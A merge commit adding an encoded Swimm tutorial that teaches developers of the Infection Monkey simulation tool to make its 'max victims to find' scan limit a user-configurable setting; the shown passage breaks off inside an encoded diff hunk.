Merge remote-tracking branch 'upstream/develop' into 519/scoutsuite-integration

.swm/AzD8XysWg1BBXCjCDkfq.swm

@@ -0,0 +1,58 @@
+{
+    "id": "AzD8XysWg1BBXCjCDkfq",
+    "name": "Add a new configuration setting to the Agent ⚙",
+    "dod": "TWFrZSUyMHRoZSUyMG1heCUyMHZpY3RpbSUyMG51bWJlciUyMHRoYXQlMjBNb25rZXklMjB3aWxsJTIwZmluZCUyMGJlZm9yZSUyMHN0b3BwaW5nJTIwY29uZmlndXJhYmxlJTIwYnklMjB0aGUlMjB1c2VyJTIwaW5zdGVhZCUyMG9mJTIwY29uc3RhbnQu",
+    "description": "JTIzJTIwTWFrZSUyMHNvbWV0aGluZyUyMGNvbmZpZ3VyYWJsZSUwQSUwQUluJTIwdGhpcyUyMHVuaXQlMkMlMjB5b3UlMjB3aWxsJTIwbGVhcm4lMjBob3clMjB0byUyMGFkZCUyMGElMjBjb25maWd1cmF0aW9uJTIwb3B0aW9uJTIwdG8lMjBNb25rZXklMjBhbmQlMjBob3clMjB0byUyMHVzZSUyMGl0JTIwaW4lMjB0aGUlMjBNb25rZXklMjBBZ2VudCUyMGNvZGUuJTIwJTBBJTBBISU1QmNvbXB1dGVyJTIwZmlyZSU1RChodHRwcyUzQSUyRiUyRm1lZGlhLmdpcGh5LmNvbSUyRm1lZGlhJTJGN0o0UDdjVXVyMkRsRXJpanAzJTJGZ2lwaHkuZ2lmJTIwJTIyY29tcHV0ZXIlMjBmaXJlJTIyKSUwQSUwQSUyMyUyMyUyMFdoeSUyMGlzJTIwdGhpcyUyMGltcG9ydGFudCUzRiUwQSUwQUVuYWJsaW5nJTIwdXNlcnMlMjB0byUyMGNvbmZpZ3VyZSUyMHRoZSUyME1vbmtleSdzJTIwYmVoYXZpb3VyJTIwZ2l2ZXMlMjB0aGVtJTIwYSUyMGxvdCUyMG1vcmUlMjBmcmVlZG9tJTIwaW4lMjBob3clMjB0aGV5JTIwd2FudCUyMHRvJTIwdXNlJTIwdGhlJTIwTW9ua2V5JTIwYW5kJTIwZW5hYmxlcyUyMG1vcmUlMjB1c2UlMjBjYXNlcy4lMEElMEElMjMlMjMlMjBXaGF0JTIwaXMlMjAlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBmaW5kJTIyJTNGJTBBJTBBVGhlJTIwTW9ua2V5JTIwaGFzJTIwYSUyMGZ1bmN0aW9uJTIwd2hpY2glMjBmaW5kcyUyMCUyMnZpY3RpbSUyMiUyMG1hY2hpbmVzJTIwb24lMjB0aGUlMjBuZXR3b3JrJTIwZm9yJTIwdGhlJTIwTW9ua2V5JTIwdG8lMjB0cnklMjBhbmQlMjBleHBsb2l0LiUyMEl0J3MlMjBjYWxsZWQlMjAlNjBnZXRfdmljdGltX21hY2hpbmVzJTYwLiUyMFRoaXMlMjBmdW5jdGlvbiUyMGFjY2VwdHMlMjBhbiUyMGFyZ3VtZW50JTIwd2hpY2glMjBsaW1pdHMlMjBob3clMjBtYW55JTIwbWFjaGluZXMlMjB0aGUlMjBNb25rZXklMjBzaG91bGQlMjBmaW5kLiUwQSUwQVdlJTIwd2FudCUyMHRvJTIwbWFrZSUyMHRoYXQlMjB2YWx1ZSUyMGVkaXRhYmxlJTIwYnklMjB0aGUlMjB1c2VyJTIwaW5zdGVhZCUyMG9mJTIwY29uc3RhbnQlMjBpbiUyMHRoZSUyMGNvZGUuJTBBJTBBJTIzJTIzJTIwTWFudWFsJTIwdGVzdGluZyUwQSUwQTEuJTIwQWZ0ZXIlMjB5b3UndmUlMjBwZXJmb3JtZWQlMjB0aGUlMjByZXF1aXJlZCUyMGNoYW5nZXMlMkMlMjByZWxvYWQlMjB0aGUlMjBTZXJ2ZXIlMjBhbmQlMjBjaGVjayUyMHlvdXIlMjB2YWx1ZSUyMGV4aXN0cyUyMGluJTIwdGhlJTIwSW50ZXJuYWwlMjB0YWIlMjBvZiUyMHRoZSUyMGNvbmZpZyUyMChzZWUlMjBpbWFnZSkuJTBBJTBBISU1QiU1RChodHRwcyUzQSUyRiUyRmkuaW1ndXIuY29tJTJGZTBYQXh1Vi5wbmcpJTBBJTBBMi4lMjBTZXQlMjB0aGUlMjBuZXclMjB2YWx1ZSUyMHRvJTIwMSUyQyUyMGFuZCUyMHJ1biUyME1vbmtleSUyMGxvY2FsbHklMjAoZnJvbSUyMHNvdXJjZSkuJTIwU2VlJTIwdGhhdCUyMHRoZSUyME1vbmtleSUyMG9ubHklMjBzY2FucyUyMG9uZSUyMG1hY2hpbmUu",
+    "summary": "KiUyMFdoZW4lMjBjaGFuZ2luZyUyMGNvbmZpZyUyMHNjaGVtYSUyMGJ5JTIwYWRkaW5nJTIwb3IlMjBkZWxldGluZyUyMGtleXMlMkMlMjB5b3UlMjBuZWVkJTIwdG8lMjB1cGRhdGUlMjB0aGUlMjBCbGFja2JveCUyMFRlc3QlMjBjb25maWd1cmF0aW9ucyUyMGFzJTIwd2VsbCUyMCU1QmhlcmUlNUQoaHR0cHMlM0ElMkYlMkZnaXRodWIuY29tJTJGZ3VhcmRpY29yZSUyRm1vbmtleSUyRnRyZWUlMkZkZXZlbG9wJTJGZW52cyUyRm1vbmtleV96b28lMkZibGFja2JveCUyRmlzbGFuZF9jb25maWdzKS4=",
+    "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZjb25maWcucHklMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRmNvbmZpZy5weSUwQWluZGV4JTIwMWZiY2I4NzYuLjY3ZWQxOWRlJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZjb25maWcucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRmNvbmZpZy5weSUwQSU0MCU0MCUyMC0xMzElMkM5JTIwJTJCMTMxJTJDNiUyMCU0MCU0MCUyMGNsYXNzJTIwQ29uZmlndXJhdGlvbihvYmplY3QpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZXhwbG9pdGVyX2NsYXNzZXMlMjAlM0QlMjAlNUIlNUQlMEElMjAlMjAlMjAlMjAlMjBzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3NlcyUyMCUzRCUyMCU1QiU1RCUwQSUyMCUwQS0lMjAlMjAlMjAlMjAlMjMlMjBob3clMjBtYW55JTIwdmljdGltcyUyMHRvJTIwbG9vayUyMGZvciUyMGluJTIwYSUyMHNpbmdsZSUyMHNjYW4lMjBpdGVyYXRpb24lMEEtJTIwJTIwJTIwJTIwdmljdGltc19tYXhfZmluZCUyMCUzRCUyMDEwMCUwQS0lMEElMjAlMjAlMjAlMjAlMjAlMjMlMjBob3clMjBtYW55JTIwdmljdGltcyUyMHRvJTIwZXhwbG9pdCUyMGJlZm9yZSUyMHN0b3BwaW5nJTBBJTIwJTIwJTIwJTIwJTIwdmljdGltc19tYXhfZXhwbG9pdCUyMCUzRCUyMDEwMCUwQSUyMCUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGbW9ua2V5LnB5JTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZtb25rZXkucHklMEFpbmRleCUyMDQ0NGJkZTQ1Li5mZjIzZjY3MSUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZtb25rZXkucHklMEElNDAlNDAlMjAtMTU4JTJDNyUyMCUyQjE1OCUyQzclMjAlNDAlNDAlMjBjbGFzcyUyMEluZmVjdGlvbk1vbmtleShvYmplY3QpJTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjBub3QlMjBzZWxmLl9rZWVwX3J1bm5pbmclMjBvciUyMG5vdCUyMFdvcm1Db25maWd1cmF0aW9uLmFsaXZlJTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslMEElMjAlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0RXb3JtQ29uZmlndXJhdGlvbi52aWN0aW1zX21heF9maW5kJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0QxMDAlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdG9wX2NhbGxiYWNrJTNEQ29udHJvbENsaWVudC5jaGVja19mb3Jfc3RvcCklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpc19lbXB0eSUyMCUzRCUyMFRydWUlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBmb3IlMjBtYWNoaW5lJTIwaW4lMjBtYWNoaW5lcyUzQSUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZpbnRlcm5hbC5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZpbnRlcm5hbC5weSUwQWluZGV4JTIwYmRiYWUyNDYuLmQ2MDQyZDM1JTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmludGVybmFsLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmludGVybmFsLnB5JTBBJTQwJTQwJTIwLTQwJTJDMTIlMjAlMkI0MCUyQzYlMjAlNDAlNDAlMjBJTlRFUk5BTCUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyTW9ua2V5JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMm9iamVjdCUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnByb3BlcnRpZXMlMjIlM0ElMjAlN0IlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydmljdGltc19tYXhfZmluZCUyMiUzQSUyMCU3QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0aXRsZSUyMiUzQSUyMCUyMk1heCUyMHZpY3RpbXMlMjB0byUyMGZpbmQlMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMmludGVnZXIlMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZGVmYXVsdCUyMiUzQSUyMDEwMCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJkZXNjcmlwdGlvbiUyMiUzQSUyMCUyMkRldGVybWluZXMlMjB0aGUlMjBtYXhpbXVtJTIwbnVtYmVyJTIwb2YlMjBtYWNoaW5lcyUyMHRoZSUyMG1vbmtleSUyMGlzJTIwYWxsb3dlZCUyMHRvJTIwc2NhbiUyMiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ2aWN0aW1zX21heF9leHBsb2l0JTIyJTNBJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydGl0bGUlMjIlM0ElMjAlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBleHBsb2l0JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMmludGVnZXIlMjIlMkMlMEE=",
+    "tests": [],
+    "hints": [
+        "Look for `victims_max_exploit` - it's rather similar."
+    ],
+    "files": {
+        "monkey/infection_monkey/config.py": {
+            "index": [
+                "1fbcb876..67ed19de",
+                "100644"
+            ],
+            "fileA": "monkey/infection_monkey/config.py",
+            "fileB": "monkey/infection_monkey/config.py",
+            "status": "MODIFIED",
+            "numLineDeletions": 3,
+            "numLineAdditions": 0,
+            "hunkContainers": [
+                "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMzElMkM5JTIwJTJCMTMxJTJDNiUyMCU0MCU0MCUyMGNsYXNzJTIwQ29uZmlndXJhdGlvbihvYmplY3QpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMGV4cGxvaXRlcl9jbGFzc2VzJTIwJTNEJTIwJTVCJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTMxJTJDJTIyYiUyMiUzQTEzMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzJTIwJTNEJTIwJTVCJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTMyJTJDJTIyYiUyMiUzQTEzMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzMyUyQyUyMmIlMjIlM0ExMzMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIzJTIwaG93JTIwbWFueSUyMHZpY3RpbXMlMjB0byUyMGxvb2slMjBmb3IlMjBpbiUyMGElMjBzaW5nbGUlMjBzY2FuJTIwaXRlcmF0aW9uJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHZpY3RpbXNfbWF4X2ZpbmQlMjAlM0QlMjAxMDAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMzUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIzJTIwaG93JTIwbWFueSUyMHZpY3RpbXMlMjB0byUyMGV4cGxvaXQlMjBiZWZvcmUlMjBzdG9wcGluZyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzNyUyQyUyMmIlMjIlM0ExMzQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB2aWN0aW1zX21heF9leHBsb2l0JTIwJTNEJTIwMTAwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM4JTJDJTIyYiUyMiUzQTEzNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzOSUyQyUyMmIlMjIlM0ExMzYlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMzElMkMlMjJsaW5lc0NvdW50JTIyJTNBOSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMzElMkMlMjJsaW5lc0NvdW50JTIyJTNBNiU3RCU3RCU3RCU3RA=="
+            ]
+        },
+        "monkey/infection_monkey/monkey.py": {
+            "index": [
+                "444bde45..ff23f671",
+                "100644"
+            ],
+            "fileA": "monkey/infection_monkey/monkey.py",
+            "fileB": "monkey/infection_monkey/monkey.py",
+            "status": "MODIFIED",
+            "numLineDeletions": 1,
+            "numLineAdditions": 1,
+            "hunkContainers": [
+                "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xNTglMkM3JTIwJTJCMTU4JTJDNyUyMCU0MCU0MCUyMGNsYXNzJTIwSW5mZWN0aW9uTW9ua2V5KG9iamVjdCklM0ElMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjBub3QlMjBzZWxmLl9rZWVwX3J1bm5pbmclMjBvciUyMG5vdCUyMFdvcm1Db25maWd1cmF0aW9uLmFsaXZlJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTU4JTJDJTIyYiUyMiUzQTE1OCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGJyZWFrJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTU5JTJDJTIyYiUyMiUzQTE1OSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE2MCUyQyUyMmIlMjIlM0ExNjAlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0RXb3JtQ29uZmlndXJhdGlvbi52aWN0aW1zX21heF9maW5kJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYxJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0QxMDAlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0ExNjElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdG9wX2NhbGxiYWNrJTNEQ29udHJvbENsaWVudC5jaGVja19mb3Jfc3RvcCklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNjIlMkMlMjJiJTIyJTNBMTYyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaXNfZW1wdHklMjAlM0QlMjBUcnVlJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYzJTJDJTIyYiUyMiUzQTE2MyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGZvciUyMG1hY2hpbmUlMjBpbiUyMG1hY2hpbmVzJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTY0JTJDJTIyYiUyMiUzQTE2NCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTE1OCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTE1OCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE"
+            ]
+        },
+        "monkey/monkey_island/cc/services/config_schema/internal.py": {
+            "index": [
+                "bdbae246..d6042d35",
+                "100644"
+            ],
+            "fileA": "monkey/monkey_island/cc/services/config_schema/internal.py",
+            "fileB": "monkey/monkey_island/cc/services/config_schema/internal.py",
+            "status": "MODIFIED",
+            "numLineDeletions": 6,
+            "numLineAdditions": 0,
+            "hunkContainers": [
+                "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC00MCUyQzEyJTIwJTJCNDAlMkM2JTIwJTQwJTQwJTIwSU5URVJOQUwlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydGl0bGUlNUMlMjIlM0ElMjAlNUMlMjJNb25rZXklNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MCUyQyUyMmIlMjIlM0E0MCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJvYmplY3QlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MSUyQyUyMmIlMjIlM0E0MSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnByb3BlcnRpZXMlNUMlMjIlM0ElMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MiUyQyUyMmIlMjIlM0E0MiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ2aWN0aW1zX21heF9maW5kJTVDJTIyJTNBJTIwJTdCJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydGl0bGUlNUMlMjIlM0ElMjAlNUMlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBmaW5kJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydHlwZSU1QyUyMiUzQSUyMCU1QyUyMmludGVnZXIlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJkZWZhdWx0JTVDJTIyJTNBJTIwMTAwJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZGVzY3JpcHRpb24lNUMlMjIlM0ElMjAlNUMlMjJEZXRlcm1pbmVzJTIwdGhlJTIwbWF4aW11bSUyMG51bWJlciUyMG9